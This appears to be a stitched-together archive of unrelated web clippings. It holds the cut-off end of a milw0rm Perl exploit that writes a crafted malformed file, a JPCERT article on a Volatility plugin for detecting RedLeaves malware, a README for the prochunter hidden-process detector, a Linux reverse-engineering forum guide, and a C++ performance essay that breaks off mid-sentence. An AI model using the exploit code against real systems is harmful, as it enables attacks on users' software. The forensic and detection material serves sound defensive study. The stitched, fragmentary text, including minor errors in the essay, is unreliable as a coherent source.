    $memory = $header.$buffer.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer4.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$ekheader.$buffer5.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer2.$ekheader.$buffer3.$subheader;
       open(file, '>' . $file);
       print file $memory;
       close(file);
    print "File PoC exploit has created!\n";
    
    exit(); */
    
    # milw0rm.com [2009-08-12]
[/code]

# Volatility Plugin for Detecting RedLeaves Malware

**Created:**| _5/7/2017 10:23:36 AM_  
---|---  
**Updated:**| _5/7/2017 10:23:36 AM_  
**Author:**| __  
**Tags:**| _Memory forensics software_  
  

  

# Volatility Plugin for Detecting RedLeaves Malware

Our previous blog entry introduced details of RedLeaves, a type of malware
used for targeted attacks. Since then, we’ve seen reports including those from
US-CERT that Management Service Providers \(MSPs\) have been targeted \[1\]
\[2\]. In the US-CERT report, some instances have been identified where
RedLeaves malware has only been found within memory with no on-disk evidence
because of the behavior of self-elimination after the infection.

To verify the infection without on-disk evidence, investigation needs to be
conducted through memory dump or logs \(e.g. proxy logs\) stored in network
devices.

This article introduces a tool to detect RedLeaves in the memory.

It is available on GitHub:

> JPCERTCC/aa-tools · GitHub
> https://github.com/JPCERTCC/aa-tools/blob/master/redleavesscan.py
#### Tool Details

The tool works as a plugin for The Volatility Framework \(hereafter
“Volatility”\), a memory forensic tool. redleavesscan.py has the following
functions:

  * redleavesscan: Detect RedLeaves in memory images
  * redleavesconfig: Detect RedLeaves in memory images and extract malware configuration

To run the tool, save redleavesscan.py in ”contrib/plugins/malware” folder
within Volatility, and execute the following command:

[code]

    $python vol.py [redleavesscan|redleavesconfig] –f <memory.image> ––profile=<profile>
    
[/code]

Figure 1 shows an example output of redleavesscan. You can see the detected
process name \(Name\), Process ID \(PID\) and the name of detected malware
\(Malware Name\).

Figure 1: Output of redleavesscan <img src='img/Temp2_8996.png' width='500'
height='71' alt='Fig1' />  
---  
Figure 2 shows an example output of redleavesconfig. For details about
RedLeaves configuration, please see our previous blog entry.

Figure 2: Output of redleavesconfig <img src='img/Temp2_8997.png' width='500'
height='213' alt='Fig2' />  
---  
#### In closing

It has been confirmed that the attacker group who uses RedLeaves also uses
PlugX. To detect PlugX in memory, please use the Volatility plugin released by
Airbus \[3\].

\- Shusei Tomonaga

_\(Translated by Yukako Uchida\)_

* * *
##### Reference:

> \[1\] US-CERT: Intrusions Affecting Multiple Victims Across Multiple Sectors
> https://www.us-cert.gov/sites/default/files/publications/IR-ALERT-
> MED-17-093-01C-Intrusions\_Affecting\_Multiple\_Victims\_Across\_Multiple\_Sectors.pdf
> \[2\] PwC: Operation Cloud Hopper
> https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-
> cloud-hopper.html
> \[3\] Volatility plugin for PlugX
> https://bitbucket.org/cybertools/volatility\_plugins/wiki/Home
  

# nowayout / prochunter

**Created:**| _11/23/2017 9:28:26 AM_  
---|---  
**Updated:**| _11/23/2017 9:28:26 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# inux Process Hunter

**I wrote prochunter around 2002, after the SuckIT rootkit release by sd
\[4\], I just spent few hours to make it runnable on modern kernels \(tested
on 4.x\)**

Prochunter aims to find hidden process with all userspace and most of the
kernelspace rootkits. This tool is composed of a kernel module that prints out
all running processes walking the task\_struct list and creates
/sys/kernel/proc\_hunter/set entry. A python script that invokes the kernel
function and diffs the module output with processes list collected from
userspace \(/proc walking\).

Almost all public linux kernel rootkits try to hide processes via /proc VFS to
remove the hidden processes from ps/top/etc. output. Others use the trick to
change the evil process pid to 0 \(but the exit call will panic the kernel\)
\[1\]

As far as I know only adore-ng, fuuld and some not working PoC from academic
papers use DKOM \(in particular: unlink process from task\_struct/pidhash
lists\) \[2\] \[3\]

\(Un\)fortunately latters are stable only on kernel 2.4.x schedulers like
SCHED\_FIFO or SCHED\_RR, because scheduler doesn't rely on task\_struct or
pidhash list to make a context switch amoung the processes, when CFS scheduler
algorithm \(default on linux now\) was introduced with 2.6 all those rootkits
have become very unusable, but..;p

* * *
##  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>Compilation

The python script requires python3 and psutil.

The kernel module just needs the kernel headers.

[code]

    make
[/code]

##  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>How to use

[code]

    $ ./prochunter.py 
    usage: prochunter.py [-h] [--ps] [--pstree] [-p] [-d] [-r] [-S hostname]
    
    optional arguments:
    -h, --help   show this help message and exit
    --ps         Print process list from kmod.
    --pstree     Print process tree from kmod.
    -p           Install prochunter in persistence mode (/sys entry created).
    -d           Run process list diff when in persistence mode.
    -r           Run process list diff once.
    -S hostname  remote syslog server
    
    
    
     - Print running process including the hidden processes. :)
     sudo ./prochunter.py --ps
    
     - Print running process tree
     sudo ./prochunter --pstree
    
     - Install the module in persistence mode.
    sudo ./prochunter.py -p 
    
     - Invoke prochunter via /sys and show hidden processes (if any), useful with cron.
    sudo ./prochunter.py -d
    
    - Invoke prochunter via /sys and show hidden processes and send logs to a remote syslog server.
    sudo ./prochunter.py -d -S 10.0.0.2
    
     - Run prochunter without persistence.
    sudo ./prochunter.py -r
[/code]

##  <img
src='"./icon_anchor-297aa9b0225eff3d6d0da74ce042a0ed5575b92aa66b7109a5e060a795b42e36.svg"'
/>Example

I wrote an easy example of kernel module that hides sshd process as pid 0,
chkrootkit was not able to find it.

[code]

    $ ./chkrootkit 
    ROOTDIR is `/'
    Checking `amd'... not found
    Checking `basename'... not infected
    Checking `biff'... not found
    Checking `chfn'... not infected
    [...]
    Checking `rlogind'... not infected
    Checking `rshd'... not found
    Checking `slogin'... not found
    Checking `sendmail'... not found
    Checking `sshd'... /usr/bin/strings: Warning: '/' is a directory
    not infected
    [...]
    Searching for suspect PHP files... nothing found
    Searching for anomalies in shell history files... nothing found
    Checking `asp'... not infected
    Checking `bindshell'... not infected
    Checking `lkm'... chkproc: nothing detected
    chkdirs: nothing detected
    [...]
    chkutmp: nothing deleted
    
    
    this is with prochunter
    
    $ sudo ./prochunter.py -r
    
    [!] Found 1 hidden process
    
    PID Name
    0   sshd
[/code]

\[1\] http://phrack.org/issues/63/18.html\#article

\[2\] https://www.blackhat.com/presentations/win-usa-04/bh-win-04-butler.pdf

\[3\] http://phrack.org/issues/61/14.html

\[4\] http://phrack.org/issues/58/7.html

  

# \[C\] \#include <stdio.h> \#include <stdlib.h> \#define NUM\_PROCS 20
typedef struc - Pastebin.com

**Created:**| _4/30/2011 8:51:21 AM_  
---|---  
**Updated:**| _4/30/2011 8:51:21 AM_  
**Author:**| __  
**Tags:**| _Fuzzer projects_  
  
\[C\] \#include <stdio.h> \#include <stdlib.h> \#define NUM\_PROCS 20 typedef
struc - Pastebin.com

# The Reverse Code Engineering Community • View topic - Linux RCE starting
guide

**Created:**| _1/11/2010 9:10:28 AM_  
---|---  
**Updated:**| _1/11/2010 9:10:41 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing Linux Tutorials_  
  

<img src='img/Temp2_8288.gif' width='139' height='52' />

# The Reverse Code Engineering Community

Scientific Board for Software Protection & Reverse Code Engineering & Damn
Vulnerable Linux

Skip to content

  
Advanced search

**ADVERTISEMENT:** **18 hours group training for just 350 Euro per person\!**  
Experience Hacking - Experience Malware - Experience Cracking  
100% practically oriented training & certification programme  
We start where others do not even dare to move\!  
_Get informed at IITAC here_ or at the _Cognitive Core Shop here_\!  
---  
  * Board index **‹** Professional Reverse Code Engineering **‹** The Linux Area
  * Change font size
  * Print view

  * FAQ
  * Register
  * Login

## Linux RCE starting guide

Place you reverse engineering questions for Linux related topics here... Tux
shouts out a warm "welcome"...  

**Moderator:** Lilith

Post a reply

2 posts • Page **1** of **1**

### Linux RCE starting guide

<img src='img/Temp2_8290.gif' width='11' height='9' alt='Post' />by
**SilkCut** » 01-08-2010 03:15 PM

Hello,  
  
A lot of intrigued reversers, new or skilled, are asking questions about
Linux, don't worry, you're not alone <img src='img/Temp2_8289.gif' alt=':!:'
/>  
I felt like a topic resuming common questions, well known tools shall be
\(re\)created. That would be wonderful to have such topic to become a
reference we can suggest to people asking for it, don't you think ?  
Comments and suggestions are welcome as long as you keep it informative. No
chit-chat here please, only links, tips ands tricks. <img
src='img/Temp2_8291.gif' alt=':alright:' />  
  
DISCLAIMER  
Through this thread I am not encouraging people to hack, destroy or steal
anything, you must comply with laws and you shall take entire responsability
if you use this knowledge for bad behaviour. With great power \(and in our
information system-controlled world, every reverser, hacker, vxer has powers\)
comes great responsabilities. Reverse engineering is not always legal, check
EULA/laws in your country. \(Some interesting essays have been written on the
subject, can you find them ?\) A lot of companies are hiring reversers,
malware analysts, win/linternals specialists for their own goods, YOU have the
right to benefit this knowledge too,but don't fall into the trap of skiddies
activity.. <img src='img/Temp2_8291.gif' alt=':alright:' />  
  
Q & A  
  
Q: I am new to reversing, can you advise me wether to choose Windows or Linux
?  
A: No, for the simple reason that we cannot push you to decide what you want
to do. Windows and its internals are fascinating reversers since ages, a lot
of people are writing tuts, experimenting things, sharing tricks and
discussing issues, Linux as well as other UNIX-like platform is less
mainstream, therefore you are on your own, looking for someone that did it
before, or simply threw some ideas you could investigate. But this thread
could help you a bit. <img src='img/Temp2_8292.gif' alt=';)' />  
  
Q: Ok, but what distrib should I use ?  
A: If you already know linux enough \(use at home/work\) you can choose every
flavor you like \! From RPM-style to DEB-stuff, including i-compil-everything-
on-my-own, source-based distribs. If this is not the case, or if you want to
use a virtual machine, please download Damn Vulnerable Linux \(refer to the
tool list\)  
  
Q: I am new to reversing with Linux, where should I start ?  
Q: Be sure to have sufficient assembly knowledge, at least one programming
language skills \(C/C++ are preferable since Linux in written with it, but
Perl/Python are advised. Those parts are not treated here\). As for Windows
with its PE file format, Linux ELF is a unconditional step for reversing. A
next step could be to try some crackmes under Linux, or try some wargames to
know more about this arch. |STILL UNDER CONSTRUCTION|  
  
Q: What tool should I use to disassemble,debug my target ?  
A: Nobody can force you to use this or that but Linux comes with some tools
like GDB \(debugger\), objdump \(retrieve assembly\)/hexdump \(retrieve hex\),
ltrace/ptrace/strace/utrace \(investigate the program execution flow\)...
Please refer to the tool list and make your own opinion, manuals as well as
tutorials/papers are available.  
  
Q: I lack training with Linux and Linternals, could you help me ?  
A: RTFM \! A lot of documentation about Linux inner workings are available on
the net, use a search engine or check the link category. You could for example
search for Linux Kernel internals.You could also train your skills with
wargames or crackmes. If you need a certification for your professional
activities, check this out  
  
Q: This tool is broken/outdated/doesn't work as I'd want, can you help me ?  
A: If you think the tool is broken try to contact the author: we are not a
support forum, if it's outdated post in the Linux area and be as specific as
you can, no crack requests \! We're not providing 100% working solutions, only
pointers for your own research. If you cannot use the tool correctly, if you
read every documentation available about it, if you tried everything and even
googled for it desperately, you can post in the Linux Area.  
  
Q: I need something that is not on the list, I asked for help and someone told
me to Google, is this is a forum or what ?  
A: We \(people helping\) are not assisting brain-disabled people, this is a
bit rude, okay, but we will only help those who showed some implications, some
previous work to solve their issue, and that actually did everything possible
before asking. If we found out that the answer is in the first page on Google
and you still ask for a link, you'll get in serious trouble. If you are
advised so, you can request a tool/paper to be added in this list.  
  
Q: I made a tool, would you like to include it on your list ? / My tool|paper
is in this list, I don't want it \!  
A: That would be a pleasure \! First, talk to the CRCETL guys over there so
they can add your tool \(and a local copy of it\) in their great list, then
notify your link to us, we will add it.  
If you want some materials to be removed, contact me but remember: if it was
previously, legally, accessible on the Web you can get lost..  
  
About this  
  
Q: This has been done before here and there \(like 0xf001's place\), why
reinventing the wheel ?  
A: If your links contains materials we missed, please contact us, we would be
delighted to add it in the list as long as it complies with our rules.As for
external sites, well I have been confronted too many times to pages or links
that disappeared because of domain expiration/hosting problem etc, no one is
to blame, we all have a life and such activities ain't free. To prevent this
issue I highly recommend you to copy this thread to your own
forum/disk/whatever.  
  
Q: Why such strict rules about legality ? This is reversing after all, and
some of your links leads to place where illegal things are discussed
\(hacking/vxing\)  
A: Reversing is not always authorized, check the EULA of your target if any
available. By posting here you automatically comply with the rules and the law
this board is subject to \(ie. what is legal in YOUR country doesn't mean it
is everywhere on the INTERNET\). This is a scientific, technical-oriented
board that doesn't focus on warez despite some subject might be borderline.
This is only made to avoid getting Zero into troubles.  
As for Hacking/VXing, well I am not encouraging this at all, but it is your
right to get information, I am not the one to tell you what to do about it. I
hope you choose to stay clean though, getting in troubles ain't fun. And trust
me you'll get to it sooner or later.  
  
Q: This is cool but I would prefer a step-by-step tutorial to learn what
button to press and where to look, for my specific needs?  
A: Then you failed at the first and the most important step: working on your
own; use your brain, use Google, use the forum search function, try things,
read about everything you can before asking a question on a forum. This is for
your own sake, please don't be another "I need a tutorial to pee" guy. If you
lack direction or ideas, please read about +Fravia \(may he rest in peace\)
and +HCU. They could change your view of reversing from "I press buttons on my
debugger but I don't really know what I'm doing" to the all-mighty "I can
express my reversing skills in the real world, in almost every possible
situation". If you get to this state of mind, I have nothing to \`teach\` you.
<img src='img/Temp2_8292.gif' alt=';)' />  
  
Q: Is a similar list for Windows is going to see the light some day ..?  
A: I have a file in preparation, however it will not be hosted here: I'd like
it to be as exhaustive as possible so it won't comply with the rules.  
  
Q: Hey some links are in a strange language I don't understand, can't you add
articles in my mothertongue too ?  
A: My lack of knowledge is deepless, I only speak two or three languages. If
you have materials in spanish, german etc I don't see any problem to add them
here. If you are speaking languages like chinese, arab or hindi \(most spoken
languages on earth\) a translation would be warmly welcome, if you are opposed
to this idea, make your own list pal.

<img src='img/Temp2_8286.gif' width='20' height='20' alt='User avatar' />  
SilkCut

    Senior Member 
    
    **Posts:** 124 
    **Joined:** 11-11-2008 04:28 PM 
    
  * E-mail SilkCut
  * Website

Top

* * *
### Re: Linux RCE starting guide

<img src='img/Temp2_8290.gif' width='11' height='9' alt='Post' />by
**SilkCut** » 01-09-2010 12:41 PM

Tool list  
  
Damn Vulnerable Linux 1.5 ISO \- Linux LiveCD embedding best tools \!  
  
Mammon - GDBInit enhancement  
  
Hex-Rays SA - IDA Pro Linux  
  
WineHQ \- If there is a Windows tool you need under linux  
  
ERESI project \- A framework you MUST read about, those guys amde tools that
could certainly simplify your work.  
  
Lida \- Linux IDA-like disassembler  
  
Linice \- Linux sICE-like kernel debugger  
  
RR0D \- A Linux kernel debugger  
  
EDB Debugger \- attempt to provide an OllyDbg like under Linux \(QT-based\)  
  
Reverse Engineers Compiler \- portable decompiler that produces a C-like
pseudo code  
  
Highly recommended - Woodmann's Community RCE Toolkit Library for Linux  
  
Highly recommended - Some tools on PacketStormSecurity from +HCUnix back in
the years  
  
  
Paper list  
  
Mammon - Linux on the Half-ELF  
  
Hexdump manual \- tool  
  
objdump manual \- tool  
  
Strace manual \- Signal+Syscall debugging tool  
  
OBJdump by example  
  
GDB manual \- tool to debug ELF in Linux  
  
Linux disassembly by example  
  
Introduction to reverse engineering \(including some Linux\)  
  
Another introduction to Linux reverse engineering  
  
A paper on Linux reversing - x86 platforms  
  
TiGa's video \#2 \(Windows/Linux+IDA Remote Debugging video tutorial\)  
  
Linux Anti Debugging tricks \(Silvio Cesare's work\)  
  
Linux Anti debugging tricks \(CodeBreaker's, based on Silvio Cesare's work\)  
  
Linux Anti Anti debugging tricks \(CodeBreaker's 0xf001's PDF work\)  
  
Introduction to Linux ELF reversing  
  
Nibbles microblog \- Get GDT and IDT on linux \(FR\)  
  
Segmentation fault blog \- The roles of .GOT and .PLT sections in dynamic
linking \(FR\)  
  
Segmentation fault blog \- RDTSC hooking in Linux \(FR\)  
  
Highly recommended - http://phrack.org/search.html?key=linux \(dig more, this
list is not complete\)  
  
Highly recommended - http://www.uninformed.org/ \(information for the
uninformed\)  
  
Highly recommended - http://home.pages.at/f001/ <img src='img/Temp2_8287.gif'
alt=':idea:' /> \(Linux RCE starter page of a guy that did all of this
before\)  
  
Linux Assembly  
  
O'Reilly - Security Warrior \(chapter 3\)  
  
+Fravia's site \- Nowadays, too much people rely on "tutorials" rather than on
their brain, learn the way of the samurai \!  
  
Search our Linux Area \! - viewforum.php?f=35  
  
Search Woodmann's Linux Area \! -
http://www.woodmann.com/forum/forumdisplay.php?f=36  
  
Training Center  
  
Our Crackmes.de \- And in platform select DVL or UNIX/Linux  
  
OverTheWire wargame  
  
SmashTheStack wargame  
  
  
What about OS-X internals ?  
  
Macshadows \- Intro to reversing with OS X  
  
Wikibooks \- OS X Internals  
  
OS-X reversing tut  
  
REcon presentation \- Dtrace-based tools to assist OS X reversing  
  
Phrack - Mac OS-X shellcoding  
  
Phrack - Cracking on OS-X with GDB  
  
Phrack - OS-X heap exploitation techniques

<img src='img/Temp2_8286.gif' width='20' height='20' alt='User avatar' />  
SilkCut

    Senior Member 
    
    **Posts:** 124 
    **Joined:** 11-11-2008 04:28 PM 
    
  * E-mail SilkCut
  * Website

Top

* * *
Display posts from previous: All posts1 day7 days2 weeks1 month3 months6
months1 year Sort by AuthorPost timeSubject AscendingDescending

* * *
Post a reply

2 posts • Page **1** of **1**

Return to The Linux Area

Jump to: Select a forum------------------Welcome To New Members Introduction
The Rules Of The BoardHall of Shame Hall of ShameBeginner Reverse Code
Engineering Newbies Coding Startup Guides Newbies RCE Startup Guides First
Steps Basic UnpackingProfessional Reverse Code Engineering Cryptography
Professional Reverse Code Engineering The Coders / Programmers Area The
Disassembler/Debugger/Packer/Crypter/Polymorphic-Engine Area \(PVDasm\)
Proview Program Disassembler Forum The Linux AreaReverse Code Engineering
Training Area Crackmes And Reversemes Area

### Who is online

Users browsing this forum: No registered users and 1 guest

  * Board index
  * The team • Delete all board cookies • All times are UTC + 1 hour

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group

# Mythology in C

**Created:**| _11/17/2011 7:34:43 PM_  
---|---  
**Updated:**| _11/17/2011 7:34:43 PM_  
**Author:**| __  
**Tags:**| _C programming_  
  

|

# Mythology in C++: Exceptions are Expensive

|  |  <img src='img/Temp2_5557.gif' width='29' height='49' />| **Home**  
---|---  
<img src='img/Temp2_5558.gif' width='58' height='59' />| **Back To Tips Page**  
The PDP-11 was a cool little machine. It was first released by Digital
Equipment Corporation in 1970, as the next logical step in the minicomputer
evolution. It had a really cool instruction set, a really cool interface bus,
and people who saw it fell in love with it.

Including the people at Bell Labs, such as Ken Thompson, one of the architects
of Unix.

You can read more about the PDP-11 **here**.

Sadly, the PDP-11 fostered a set of nonsensical myths about programming, and
the C language and C compiler embodied many of these myths. Generations of
programmers learned to program, either on the PDP-11, or taught by people who
learned on the PDP-11, and all these people subscribe to the same set of
pointless and obsolete myths about programming.

For a while, computers were popularly rated in MIPS, Mega-Instructions Per
Second. Computers which do scientific work, in particular, the class known as
"supercomputers", were once rated in MFLOPS or MegaFlops, _**M**_ illions of
_**FL**_ oating point _**OP**_ erations per _**S**_ econd. However, that
number is no longer relevant in modern discussions. For a while, the
supercomputers were measured in GigaFLOPS and TeraFlops, but even those are
irrelevant; modern supercomputers are measured in _Peta_ FLOPS, and that is
1024 \(or 1000 more\) than TeraFlops.

For those not familiar with the terminology, here's the table

_**Exponent**_|  _**Prefix**_|  **_Abbreviation_**|  _**Value**_  
---|---|---|---  
1015| Peta| P| Quadrillions  
1012| Tera| T| Trillions  
109| Giga| G| Billions\*  
106| Mega| M| Millions  
103| Kilo| K| Thousands  
10-1| Deci| d| Tenths  
10-2| Centi| c| Hundredths  
10-3| Milli| m| Thousandths  
10-6| Micro|  μ \(or u\)| Millionths  
10-9| Nano| n| Billionths\*  
10-12| Pico| p| Trillionths  
10-15| Femto| f| Quadrillionths  
\*"Billion" is a U.S. term which has different meanings in other languages, so
often is referred to in international documents as "thousand million" or its
inverse, "Billionths" as "Thousandths of Millionths"  
The PDP-11 instruction rate was about 300 KIPS \(0.3 MIPS\). But in a 2 GHz
_x_ 86, you have to recognize that the _x_ 86 can dispatch _several_
instructions per clock tick; in the Pentium 4, the CPU could dispatch two
integer and one floating-point operation in a single clock cycle, and most
instructions execute in one clock cycle, so _on the average_ \(assuming cache-
friendly data layout\) an _x_ 86 can run at 4GIPS. Giga Instructions Per
Second. That's more than 13,000 times faster than a PDP-11\! Note that the new
"Core" series from Intel can dispatch \(depending on the model\) between five
and seven instructions per clock cycle. There are other significant
architecture changes that change the performance picture even more, and I will
discuss those later.

Given the amazing increase in hardware performance and address space, rules
for "clever" programming on the PDP-11 become largely irrelevant on an _x_
86\. In addition, the C compiler used for the PDP-11 was one of the worst-
quality code generators in the history of compilers; even the IBM FORTRAN
compiler for the 7094 could do better\!

For example, C programmers who want to do an infinite loop, and who learned on
the PDP-11 \(or were taught by PDP-11 programmers\) may write

[code]

    for(;;) {...body of loop...}
[/code]

instead of the much more sensible

[code]

    while(true) {...body of loop...}
[/code]

Why is this **for\(;;\)** idiom so popular? Not because it makes sense as a
syntactic structure. But the compiler was so stupid it did not recognize that
**true** is a compile-time constant, and generated code like

[code]

    loop_start:
       mov r0, 1
       test r0
       jne loop_exit
       ...body of loop
       jmp loop_start
    loop_exit:
[/code]

Even in the days when C was popular on the PDP-11, there were compilers that
would happily compile the code for **white\(true\)** as

[code]

    loop_start:
        ... body of loop
        jmp loop_start
[/code]

The poor PDP-11 C code generator produced horrible code, so programmers
avoided writing clear code to save one instruction. But when your code space
was 32K \(in some machines, you only had 32K for both code _and_ data; other
models of the PDP-11 had what were called "separate I and D space"\), and you
could execute only 300 KIPS, this mattered. With modern architectures and
modern compilers, such grotesque hacks are no longer required. \(The Bliss-11
compiler, written in 1972, could do such an optimization, and I used it for
several years\). When you have a 2GB user address space, and can execute
billions of instructions per second, the tradeoffs are much different.

The similar foolishness of writing

[code]

    if( (v = ...somecomputation...) != 0)
[/code]

instead of more sensible

[code]

    v = ...somecomputation...;
    if(v != 0)
[/code]

was based on the fact that the non-optimizing PDP-11 compiler would do, for
the non-embedded assignment

[code]

    ; 324 v = ...somecomputation...
    r0 = ...somecomputation...
    mov v, r0
    ; 325 if(v != 0)
    mov r0, v
    test r0
    jne  else_part
[/code]

where the embedded one would do

[code]

    ; 324 if( (v = ...somecomputation...) != 0)
    r0 = ...somecomputation...
    mov v, r0
    test r0
    jne else_part
[/code]

thus saving one instruction. A modern compiler, such as Microsoft C/C++ \(as
far back as V6, and possibly V4.2\) produces _exactly_ the same code for both
styles.

The PDP-11 is a dead technology. It is about time we buried the myths that
machine and its \(really poor\) C compiler created. What is even more
astounding, these myths have been propagated into the C++ world\!

One of the common myths, one which I have actually seen _in print_ , is the
assertion "Do not use exceptions. They are expensive". This is complete
nonsense.

One thing you learn in this business, if someone says "feature _X_ has poor
performance", you probably can't trust that opinion, _unless it is accompanied
by hard data that justifies the assertion_. Most performance myths are exactly
that: myths. "Subroutine call is expensive, don't create subroutines you don't
need", "inlining functions gives you better performance, so inline all your
functions when possible", "instantiating generics gives you code bloat" and,
the topic of this essay, "exceptions are expensive".

\[As an aside: subroutine calls cost, on a 2GHz machine, 250 _pico_ seconds
\(on the average\), you can pass four parameters per _nano_ second, on the
average. Subroutines have almost no cost. Compilers like the Microsoft
compiler that can do global program optimization can do the inlining
themselves, and the programmer does not need to make the effort, the compiler
is quite capable of eliminating duplicate generic code \(particularly when T\*
is the basic of the generic, for multiple types T\) and, as this essay will
demonstrate beyond and shadow of doubt, exceptions are amazingly cheap, to the
point where for all practical purposes they are free.\]

Let me state that the cost of handling exceptions is so low as to be
irrelevant in nearly all practical applications. The difference is, I'm going
to tell you _why_ , and back it up with hard data.

In a court of law, "hearsay evidence" is not admissible \(and for those of you
with some experience, yes, I know there are specific exceptions to this\). But
the myth that "exceptions are expensive" seems to have been started without
basis, and then repeated, time after time, growing in the telling, to where
modern books \(2011\) have actually repeated this myth as if it were a fact. I
spent nearly fifteen years of my career concerned with software performance,
and wrote one of the definitive software measurement packages we used at
Carnegie Mellon University. One thing I learned from all those years of
performance measurement: If the programmer who wrote the code tells you where
the code is spending all its time, he \(or she\) is almost certainly wrong. I
would get people showing up at my office saying "Teach me how to use your
timer package. I just spent the last week optimizing my code to run ten times
faster, and it makes no difference\!". So I'd toss their code into the timer
system, and discover that the code they had "optimized" was perhaps twice as
fast as the previous version \(they would do silly things like confuse lines
of code with performance\), and that meant that instead of taking 0.5% of the
total execution time of their program, it now took 0.25% of the time.
Meanwhile, some other part of their system, which they had never considered,
was consuming 30% of the time. In once case, I reduced that to a fraction of a
percent by suggesting a one-line change \("It helps a lot, if, before
formatting the line for output and deciding to discard it, you first check to
see if any output is required, and not do any formatting"\) and in another,
got tremendous improvement by reducing 4 million calls on the storage
allocator to about 200,000 calls on the storage allocator. Note I had solid,
objective _proof_ , which was _reproducible_ , that there was \(or was not\) a
performance bottleneck in their code.

So how is it that authors and readers blindingly accept such silly concepts as
"exceptions are expensive"? I have no idea. I've looked at the generated code,
and therefore I don't believe it at all. But that's just an opinion. Let's
back it up with a few _facts_.

To do this, we need to detour a bit into performance measurement techniques.

## Measuring Performance

I was trained as a scientist by a physics professor. He put a lot of emphasis
on experimental methodology. Among other things I learned, you need to know
_what_ you are measuring, how your measurement tools _relate_ to that
measurement, how to determine the precision of those measurement tools, their
reproducibility and reliability, and their statistical reliability. So when I
have to do performance measurement, all these things matter.

Another thing I learned about doing science, in my geology classes in the late
1980s: sometimes, the _absolute_ values don't have much meaning, but the
_relative_ values have tremendous meaning. \(The particular case, of
potassium-argon dating, is based not on the absolute amounts of potassium or
argon, but their _ratio_\). So what you do is create an experiment, and then
perturb the experiment in a known way, and perform the experiment a second
time, and the _difference_ between these two experiments can be of interest.

It is a sad fact that designers of operating systems and hardware make little
provision for doing precise performance measurement. I once wrote an essay on
requirements for doing good performance measurement, and these ideas were
proposed in 1973 or thereabouts. No one has caught on, in all these years.

There have been some improvements. The **RDTSC** instruction of the _x_ 86
architecture, for example, reads the high-performance CPU timer, a 64-bit
value that is essentially a counter of CPU clock cycles. This is not bad, but
it is not perfect, for a variety of reasons.

For example, naive use of **RDTSC** will fail unless you take the instruction
pipelining effects into consideration; you do not want this instruction to be
prefetched, because the pipeline state can therefore perturb the reliability
of the numbers obtained. Therefore, you must use a _serializing instruction_
ahead of each **RDTSC** instruction, to synchronize the instruction pipe. The
only user-level serializing instruction available is the **CPUID**
instruction.

For high-resolution timing, the **RDTSC** instruction is wrapped in an API
call, **QueryPerformanceCounter**. This API will return a count of the number
of units \(which are a little coarser than CPU clock cycles\) executed since
the machine was booted. By doing two calls and computing their difference, a
good approximation of the amount of time expended can be made.

The number of ticks returned by **QueryPerformanceCounter** can be converted
to absolute time values by using the **QueryPerformanceFrequency** call to get
the conversion factor.

Note that I said "a good approximation". There are many factors that interfere
with precise information. For example, if there is an interrupt then the
interrupt time gets charged against the currently running user thread.
Similarly, if a Deferred Procedure Call \(DPC\) is executed, _its_ time gets
charged against the currently running user thread. Using the **perfmon** tool,
you can see how many interrupts per second or DPCs per second occur. The
statistics shown here are for an 8-core system.

<img src='img/Temp2_5552.gif' width='794' height='202' />\

<img src='img/Temp2_5554.gif' width='783' height='205' />

Note that there are approximately 1,000 interrupts per second per core, and
about 22 DPCs per second per core. These will distort user-level measurements.

## Useless Timer Mechanisms

There is a lot of confusion about the meaning of timer mechanisms that purport
to measure time. For example, **GetTickCount** returns a **DWORD** value of
the number of milliseconds that have elapsed since the system has started.
This is the timer that most clueless newbies use to attempt to do timing,
although it is nearly completely useless for almost any timing measurement
whatsoever.

A classic error is confusing the units that are returned with the precision of
the measurement. **GetTickCount** returns a value based on the motherboard
timer resolution, and although the value returned is measured in milliseconds,
it is updated only once every 15 milliseconds on most modern platforms. The
actual time resolution can be obtained with **GetSystemTimeAdjustment**. What
this means is you will be subject to _massive_ gating error issues. A function
which takes 10 microseconds may call **GetTickCount** 5 microseconds before
the timer ticks, in which case you will get a time value **T**. 10
microseconds after this call, it calls **GetTickCount** again, and discovers
that the value it gets back is **T+15** , which means it took 15 milliseconds
to execute. Or, if you call **GetTickCount** at an time _within_ the 15ms
window, you will see that this function takes 0 milliseconds. Both numbers are
irrelevant and misleading.

The problem with sampling within the tick interval, or across it, is known as
**_gating error_**, which is the effect of measuring discrete events within
discrete time intervals. If the events \(timer ticks\) are close to the
interval being measured then normal error of ±½ unit begins to dominate when a
large number of small samples are taken. In the case of **GetTickCount** , a
unit is 15ms, so the range of ±½ unit is a possible 15ms error. When the tick
interval is very small, the errors are correspondingly smaller. This is also
related to the ** Nyquist** \(or Shannon-Nyquist\) sampling theorem, which
says that you need to sample a waveform at twice its frequency \(or scan a
pixelated image at twice the resolution of the pixels\) to get a reasonable
representation.

Now let's look into one other cute little problem with **GetTickCount**. It
counts the number of milliseconds from system startup, in a 32-bit **DWORD**.
